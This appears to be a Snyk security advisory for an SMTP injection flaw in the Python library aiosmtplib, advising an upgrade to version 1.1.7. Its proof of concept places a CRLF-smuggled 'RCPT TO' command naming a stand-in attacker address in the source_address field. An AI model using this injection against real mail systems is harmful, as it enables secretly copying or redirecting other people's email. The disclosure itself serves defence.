Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade aiosmtplib
to version 1.1.7 or higher.
aiosmtplib is an aiosmtplib is an asynchronous SMTP client for use with asyncio.
Affected versions of this package are vulnerable to SMTP Injection. It is possible to insert an arbitrary SMTP command through the hostname
or the source_address
field.
import asyncio
from email.message import EmailMessage
from aiosmtplib import SMTP
async def say_hello():
message = EmailMessage()
message["From"] = "root@localhost"
message["To"] = "somebody@example.com"
message.set_content("Sent via aiosmtplib")
smtp_client = SMTP(
hostname="127.0.0.1",
port=1225,
source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>"
)
async with smtp_client:
await smtp_client.send_message(message)
event_loop = asyncio.get_event_loop()
event_loop.run_until_complete(say_hello())